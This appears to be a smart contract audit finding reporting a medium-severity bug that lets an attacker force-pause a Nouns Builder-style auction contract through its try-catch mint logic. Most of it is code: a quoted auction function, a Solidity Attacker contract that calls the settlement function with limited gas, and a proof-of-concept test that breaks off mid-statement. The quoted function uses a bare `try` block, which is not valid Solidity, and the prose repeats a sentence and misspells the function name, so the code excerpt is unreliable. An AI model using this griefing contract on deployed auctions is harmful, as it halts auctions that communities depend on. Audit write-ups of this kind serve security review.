MEDIUM severity: The vulnerability allows an attacker to force pause the auction contract under certain circumstances. The vulnerability allows an attacker to force pause the auction contract under certain circumstances. This is achieved by exploiting the `try-catch` block within the `Auction._CreateAuction()` function, which is called by `Auction.settleCurrentAndCreateNewAuction()`. \n\nWhen the `mint` function is...

Vulnerable code:
```\nfunction _createAuction() private returns (bool) {\n    try {\n        uint256 tokenId = token.mint();\n        // Store the token id\n        auction.tokenId = tokenId;\n\n        // Cache the current timestamp\n        uint256 startTime = block.timestamp;\n\n        // Used to store the auction end time\n        uint256 endTime;\n\n        // Cannot realistically overflow\n        unchecked {\n            // Compute the auction end time\n            endTime = startTime + settings.duration;\n        }\n\n        // Store the auction start and end time\n        auction.startTime = uint40(startTime);\n        auction.endTime = uint40(endTime);\n\n        // Reset data from the previous auction\n        auction.highestBid = 0;\n        auction.highestBidder = address(0);\n        auction.settled = false;\n\n        // Reset referral from the previous auction\n        currentBidReferral = address(0);\n\n        emit AuctionCreated(tokenId, startTime, endTime);\n        return true;\n    } catch {\n        // Pause the contract if token minting failed\n        _pause();\n        return false;\n    }\n}\n```\n```\npragma solidity ^0.8.16;\n\ncontract Attacker {\n    function forcePause(address target) external {\n        bytes4 selector = bytes4(keccak256("settleCurrentAndCreateNewAuction()"));\n        assembly {\n            let ptr := mload(0x40)\n            mstore(ptr, selector)\n            let success := call(1500000, target, 0, ptr, 4, 0, 0)\n        }\n    }\n}\n```\n```\n// SPDX-License-Identifier: MIT\npragma solidity 0.8.16;\n\nimport { NounsBuilderTest } from "./utils/NounsBuilderTest.sol";\nimport { MockERC721 } from "./utils/mocks/MockERC721.sol";\nimport { MockImpl } from "./utils/mocks/MockImpl.sol";\nimport { MockPartialTokenImpl } from "./utils/mocks/MockPartialTokenImpl.sol";\nimport { MockProtocolRewards } from "./utils/mocks/MockProtocolRewards.sol";\nimport { Auction } from "../src/auction/Auction.sol";\nimport { IAuction } from "../src/auction/IAuction.sol";\nimport { AuctionTypesV2 } from "../src/auction/types/AuctionTypesV2.sol";\nimport { TokenTypesV2 } from "../src/token/types/TokenTypesV2.sol";\nimport { Attacker } from "./Attacker.sol";\n\ncontract AuctionTest is NounsBuilderTest {\n    MockImpl internal mockImpl;\n    Auction internal rewardImpl;\n    Attacker internal attacker;\n    address internal bidder1;\n    address internal bidder2;\n    address internal referral;\n    uint16 internal builderRewardBPS = 300;\n    uint16 internal referralRewardBPS = 400;\n\n    function setUp() public virtual override {\n        super.setUp();\n        bidder1 = vm.addr(0xB1);\n        bidder2 = vm.addr(0xB2);\n        vm.deal(bidder1, 100 ether);\n        vm.deal(bidder2, 100 ether);\n        mockImpl = new MockImpl();\n        rewardImpl = new Auction(address(manager), address(rewards), weth, builderRewardBPS, referralRewardBPS);\n        attacker = new Attacker();\n    }\n\n    function test_POC() public {\n        address[] memory wallets = new address[](1);\n        uint256[] memory percents = new uint256[](1);\n        uint256[] memory vestingEnds = new uint256[](1);\n        wallets[0] = founder;\n        percents[0] = 99;\n        vestingEnds[0] = 4 weeks;\n        setFounderParams(wallets, percents, vestingEnds);\n        setMockTokenParams();\n        setMockAuctionParams();\n        setMockGovParams();\n        deploy(foundersArr, tokenParams, auctionParams, govParams);\n        setMockMetadata();\n\n        vm.prank(founder);\n        auction.unpause();\n        vm.prank(bidder1);\n        auction.create\n```